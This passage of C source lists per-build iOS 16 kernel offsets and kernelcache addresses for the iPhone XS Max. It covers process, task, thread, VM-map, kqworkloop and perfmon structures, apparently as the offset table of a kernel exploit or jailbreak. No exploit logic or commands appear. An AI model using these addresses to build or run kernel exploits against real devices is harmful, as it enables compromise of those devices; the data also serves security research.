\"iPhone11,6\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a309208,\n        .kernelcache__gPhysBase = 0xfffffff0078f7fa0,\n        .kernelcache__gPhysSize = 0xfffffff0078f7fa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078f6178,\n        .kernelcache__perfmon_devices = 0xfffffff00a347500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e99a88,\n        .kernelcache__ptov_table = 0xfffffff0078ab160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a346990,\n        .kernelcache__vm_pages = 0xfffffff0078a7ea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078aa110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a346988,\n        .kernelcache__vn_kqfilter = 0xfffffff007ee863c,\n    },\n  // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone11,6\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a311288,\n        .kernelcache__gPhysBase = 0xfffffff0078fc0e0,\n        .kernelcache__gPhysSize = 0xfffffff0078fc0e0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078fa2b8,\n        .kernelcache__perfmon_devices = 0xfffffff00a34f500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e9dc8c,\n        .kernelcache__ptov_table = 0xfffffff0078af160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a34e990,\n        .kernelcache__vm_pages = 0xfffffff0078abea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ae110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a34e988,\n        .kernelcache__vn_kqfilter = 0xfffffff007eecad8,\n    },\n\n    // iOS 16.6 beta 1\n        {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPhone11,6\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3e5ab0,\n        .kernelcache__gPhysBase = 0xfffffff007914288,\n        .kernelcache__gPhysSize = 0xfffffff007914288 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007912440,\n        .kernelcache__perfmon_devices = 0xfffffff00a425530,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec2434,\n        .kernelcache__ptov_table = 0xfffffff0078c79a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a424910,\n        .kernelcache__vm_pages = 0xfffffff0078c40f8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078c6950,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a424908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f10c44,\n    },\n // End iPhone Xs Max Global //\n\n // Start iPhone XS Max China //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:15 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20C65\",\n        .device_id = \"iPhone11,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a235178,\n        .kernelcache__gPhysBase = 0xfffffff00781fc60,\n        .kernelcache__gPhysSize = 0xfffffff00781fc60 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00781de40,\n        .kernelcache__perfmon_devices = 0xfffffff00a270380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e773ac,\n        .kernelcache__ptov_table = 0xfffffff0077d3248,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a26f800,\n        .kernelcache__vm_pages = 0xfffffff0077d0080,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077d2208,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a26f7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007ec9a44,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone11,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a239178,\n        .kernelcache__gPhysBase = 0xfffffff00781bd48,\n        .kernelcache__gPhysSize = 0xfffffff00781bd48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007819f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a274380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e77398,\n        .kernelcache__ptov_table = 0xfffffff0077cf288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a273800,\n        .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2737f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007ec9a20,\n    },\n  // iOS 16.3.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone11,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a239178,\n        .kernelcache__gPhysBase = 0xfffffff00781bd48,\n        .kernelcache__gPhysSize = 0xfffffff00781bd48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007819f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a274380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e77398,\n        .kernelcache__ptov_table = 0xfffffff0077cf288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a273800,\n        .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2737f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007ec9a20,\n    },\n  // iOS 16.4 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E247\",\n        .device_id = \"iPhone11,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a309208,\n        .kernelcache__gPhysBase = 0xfffffff0078f7fa0,\n        .kernelcache__gPhysSize = 0xfffffff0078f7fa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078f6178,\n        .kernelcache__perfmon_devices = 0xfffffff00a347500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e99a88,\n        .kernelcache__ptov_table = 0xfffffff0078ab160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a346990,\n        .kernelcache__vm_pages = 0xfffffff0078a7ea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078aa110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a346988,\n        .kernelcache__vn_kqfilter = 0xfffffff007ee863c,\n    },\n  // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E252\",\n        .device_id = \"iPhone11,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 